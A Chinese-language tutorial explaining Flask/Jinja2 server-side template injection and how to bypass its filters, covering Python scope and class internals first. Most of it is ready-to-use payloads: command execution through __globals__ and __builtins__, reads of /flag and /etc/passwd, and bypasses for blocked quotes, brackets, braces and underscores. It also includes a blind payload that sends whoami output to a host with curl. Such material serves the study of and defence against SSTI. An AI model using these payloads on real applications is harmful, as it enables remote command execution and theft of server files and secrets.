浅谈flask ssti 绕过原理
字数 1331 2025-08-19 12:41:11
Flask SSTI 绕过原理详解
前置知识
Python执行环境
-
作用域与字节码编译:
- Python根据作用域将代码编译为字节码
- 生成
PyCodeObject对象并与PyFrameObject关联 PyFrameObject包含运行所需的名字空间信息
-
作用域类型:
local:函数内的局部变量global:模块内的全局变量builtin:Python内建函数(如open)
-
模块间作用域:
global仅限于模块内部- 模块A导入模块B,模块B的作用域对A不可见
函数对象
- Python根据
PyCodeObject和当前PyFrameObject生成PyFunctionObject PyFunctionObject重要变量:func_code:对应的PyCodeObjectfunc_globals:函数的global名字空间- Python3中可通过
__globals__访问
类对象
- 所有类都是
type的实例,继承自object - 支持多继承,可通过
base、mro获取父类 - 初始化时填充
tp_dict用于搜索类的方法和属性 - 特殊方法(如
__repr__)默认指向slot方法,可被重写 - Python操作符(如
[1:2])通过特殊方法实现 - 方法是对
PyFunctionObject的包装,封装为PyMethodObject
Flask/Jinja2特性
-
模板语法:
{{ ... }}:表达式,会渲染结果{% ... %}:语句,可实现for、if等逻辑{% set %}:变量赋值
-
重要文档:
命令执行构造方法
利用Flask内置函数
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}
获取配置信息
{{config}}
{{get_flashed_messages.__globals__['current_app'].config}}
通过基类查找子类
Python 2.7:
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
Python 3.7:
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]
常见Payload
- 使用
__globals__:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
- 不使用
__globals__:
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")
过滤绕过技术
前置知识
- Python魔术方法可实现字典、数组取值操作
- Jinja2特殊处理模板,可通过
A['__init__']访问方法/属性 attr过滤器可获取对象属性/方法- Flask内置
request对象获取请求信息:request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name
关键字过滤绕过
-
未过滤引号:
- 使用反转或拼接:
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}} {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}} -
过滤引号:
- 通过请求参数传递:
// URL: ?a=eval ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.[request.args.a]('__import__("os").popen("ls").read()') // Cookie: aa=__class__;bb=__mro__;cc=__subclasses__ {{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}- 拼接字符:
{{(config.__str__()[2])+(config.__str__()[3])}}- 查出
chr函数并赋值:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}- 利用内置过滤器拼接字符:
{%set pc = g|lower|list|first|urlencode|first%} # 获取% {%set c=dict(c=1).keys()|reverse|first%} # 获取'c' {%set udl=dict(a=pc,c=c).values()|join %} # 拼接'%c' {%set udl2=udl%(95)%}{{udl}} # 得到任意字符
特殊字符过滤绕过
-
过滤
[:- 使用
__getitem__或pop:
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read() ''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc') - 使用
-
过滤双花括号
{{}}:- 使用
{%%}标记(无回显):
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}- 使用
{%print%}标记(有回显):
{%print config%} - 使用
-
过滤下划线:
- 使用与字符串过滤相同的绕过技术